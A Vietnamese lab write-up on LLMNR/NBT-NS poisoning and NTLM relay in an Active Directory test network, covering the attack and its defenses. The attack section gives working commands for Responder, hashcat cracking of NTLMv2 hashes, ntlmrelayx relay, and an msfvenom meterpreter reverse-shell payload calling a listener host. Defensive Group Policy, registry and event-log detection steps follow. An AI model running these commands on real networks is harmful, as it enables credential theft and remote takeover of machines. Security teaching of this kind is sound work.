LLMNR Poisoning, NTLM Replay
Last updated
Last updated
Trong Windows, mật khẩu được lưu dưới dạng băm bằng cách sử dụng một số thuật toán nhất đính như:
LM: Viết tắt của "Lan Manager", đây là một trong những hệ thống xác thực được sử dụng trong các hệ thống Windows cũ hơn (2000, XP, Vista, 7). Thuật toán được sử dụng để tạo LM hash yếu và dễ bị bẻ khóa, dịch ngược.
NT: ""NT Lan Manager" là hệ thống xác thực đi kèm với hệ điều hành Windows NT, còn được gọi là NTLM. Thông tin băm này được lưu giữ trong tệp SAM trên local và trong tệp NTDS.dit trên DC. Thuật toán băm NT an toàn hơn LM
Mặc dù cấu trúc LM không được sử dụng rộng rãi ngày nay, thông tin băm LM vẫn được lưu trữ trong các tệp SAM để tương thích ngược. Khi kiểm tra nội dung của tệp SAM, chúng ta thấy một cấu trúc như thế này:
'AhmetCan:1001:aad3b435b51405eeaad3b435b51404ee:31d6cfe0d15ae931b73c59d7e0c089c0:::'
Cấu trúc này bao gồm username, user ID, LM hash information, và NT hash information
LLMNR (Link-Local Multicast Name Resolution) là một giao thức cho phép phân giải DNS trong cùng một mạng cục bộ. Dưới đây là trình tự phân giải tên miên:
Tên miền hoặc tên máy chủ được tìm kiếm trước tiên được tìm kiếm trong tệp Hosts trên máy tính cục bộ. Nếu không thành công,
Nó kiểm tra bộ nhớ đệm DNS cục bộ. Nếu không thành công,
Nó gửi một truy vấn DNS. Nếu không thành công,
Nó gửi một truy vấn LLMNR. Nếu không thành công,
Nó gửi một truy vấn NetBIOS-NS
Ở bước thứ 4, truy vấn LLMNR phát một multicast (Gửi yêu cầu này đến các máy khác trong mạng)
Khi thấy được LLMNR request từ người dùng, kẻ tấn công có thể giả mạo là máy tính đích và yêu cầu máy tính nạn nhân kết nối với hắn. Theo giao thức NTLM đã được mô tả, ở bước này thông tin băm theo NTLMv1 hoặc NTLMv2 của nạn nhân sẽ được lấy. Giá trị băm này có thể được crack bằng kỹ thuật bruteforce(có thể không khả thi với các mật khẩu phức tạp)
Kịch bản:
AD Lab Environment Kali:192.168.42.134 DC : 192.168.42.123 User:bob:192.168.42.130 User:alice:192.168.1.131
Bước 1: Kali chạy Responder
sudo responder -I eth0
Bước 2: Một sự kiện xảy ra trong mạng và kích hoạt LLMNR (Nhập địa chỉ mà DNS không phần giải được)
Kẻ tấn công sẽ lấy được thông tin nhạy cảm, bao gồm:
Địa chỉ IP của nạn nhân
Tên miền và tên người dùng của nạn nhân (trong ví dụ này: ADLAB\bob)
Băm mật khẩu của nạn nhân
Bước 3: Bẻ khóa mã băm của nạn nhân
hashcat –m 5600 <hashfile.txt> <wordlist.txt>
Main Defense - Disable LLMNR và NBT-NS
To disable LLMNR, select “Turn OFF Multicast Name Resolution” under Computer Configuration > Administrative Templates > Network > DNS Client in the Group Policy Editor.
To disable NBT-NS, navigate to Network Connections > Network Adapter Properties > TCP/IPv4 Properties > Advanced tab > WINS tab and select “Disable NetBIOS over TCP/IP”. This only works locally.
To disable NBT-NS via GPO, we can simply write a PowerShell script (see below) and save it in Startup Scripts.
set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces\tcpip* -Name NetbiosOptions -Value 2
Now add the script to Startup Scripts in Computer Configuration > Policies > Windows Settings > Scripts > Startup
Confirm Mitigation
Mitigated LLMNR
$(Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows NT\DNSClient" -name EnableMulticast).EnableMulticast
Mitigate NBT-NS
wmic nicconfig get caption,index,TcpipNetbiosOptions
Alternate Defense nếu buộc phải sử dụng hoặc không thể disable LLMNR/NBT-NS:
Require Network Access Control
Require strong user passwords
Một số cách khác để phòng tránh như:
Sử dụng DNS: Thay vì phụ thuộc vào LLMNR và NBT-NS để phân giải hostname thành IP, thì DNS để thay thế.
Sử dụng tường lửa: Cấu hình tường lửa chặn lưu lượng truy cập LNR và NBT-NS.
Chia mạng con: Phân đoạn mạng thành các mạng con nhỏ hơn để giới hạn phạm vi tấn công LLMNR và NBT-NS poisoning
Sử dụng mã hóa: Sử dụng mã hóa để bảo vệ dữ liệu nhạy cảm được truyền qua mạng.
Thực hiện SMB signing để ngăn chặn tấn công relay: SMB signing là một tính năng bảo mật đảm bảo tính toàn vẹn và xác thực của dữ liệu được truyền qua mạng. Khi SMB signing được kích hoạt, các gói tin SMB sẽ được ký số để ngăn chặn các cuộc tấn công relay.
Triển khai công cụ giám sát giả mạo LLMNR/NBT-NS
Giám sát các port UDP 5355 và 137: Ta có thể phát hiện các tấn công sử dụng LLMNR và NBT-NS.
Giám sát các event ID 4697 và 7045: có thể là các dấu hiệu của tấn công relay.
Giám sát bất kỳ thay đổi trên DWORD registry nằm tại HKLM\Software\Policies\Microsoft\Windows NT\DNSClient: Giúp phát hiện các cuộc tấn công đang cố gắng thay đổi các thiết lập DNS trên hệ thống.
Vindicate
Respounder
got-responded
got-responded là một công cụ giúp kiểm tra giả mạo LLMNR/NBT-NS mà không gửi thông tin đăng nhập SMB giả mạo.
AD Lab Environment Kali:192.168.42.134 DC : 192.168.42.123 User:bob:192.168.42.130 User:alice:192.168.1.131
Yêu cầu:
Tài khoản alice phải có quyền admin trên máy của bob
Mục tiêu tấn công cần có: without SMB signing or with SMB signing set to 'not required'
Đầu tiên, khởi tạo cuộc tấn công này bằng cách chạy Responder (Tắt option SMB và HTTP trong 'responder.conf').Điều này là do Responder sẽ chỉ thực hiện đầu độc, và phần còn lại của công việc chuyển tiếp sẽ được xử lý bởi công cụ 'ntlmrelayx' sử dụng máy chủ SMB.
Lệnh:
Chạy Responder: 'responder -I eth0 -rwd'
Chạy 'ntlmrelayx.py' với hỗ trợ SMB2: ' ntlmrelayx.py -tf target -smb2support'
target ở đây là máy của bob (192.168.42.130)
Tại đây, có thể cung cấp quyền truy cập tương tác cho ntlmrelayx bằng tham số '-i'. Có thể chạy tệp thực thi để lấy reverse/bind shell.
Lặp lại kịch bản với thêm tham số -e:
Tạo payload với 'msfvenom':
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=4444 -f exe > getshell.exe
Start msfconsole:
msfconsole > use/multi/handler > set options > run
Chạy những câu lệnh sau:
responder -I eth0 -rwd
ntlmrelayx.py -tf target -smb2support -e getshell.exe
NTLM Replay sẽ tạo ra một phiên đăng nhập lạ.
Event ID 4624, the Windows Advanced Audit Policy cần phải kích hoạt chinh sách sau:
Logon/Logoff – Audit Logon = Success and Failure
Logic truy vấn sau đây có thể được sử dụng:
Event Log = Security
Event ID = 4624
User = ANONYMOUS LOGON
Authentication Package Name = NTLM*
Quá trình
là một bộ công cụ giúp phát hiện tấn công giả mạo, giúp cô lập nhanh chóng các attacker trên mạng. Nó được thiết kế để phát hiện việc sử dụng các công cụ hacking như Responder, Inveigh, NBNSpoof và Metasploit’s LLMNR, NBNS và mDNS spoofers,… Công cụ này sử dụng Windows Log Event để tích hợp nhanh chóng với Active Directory.
là một công cụ phát hiện sự hiện diện của Responder trên mạng. Công cụ này cũng giúp phát hiện các máy giả mạo chạy Responder trên các mạng Wi-Fi public, ví dụ như ở sân bay và quán cà phê, và tránh kết nối vào các mạng đó.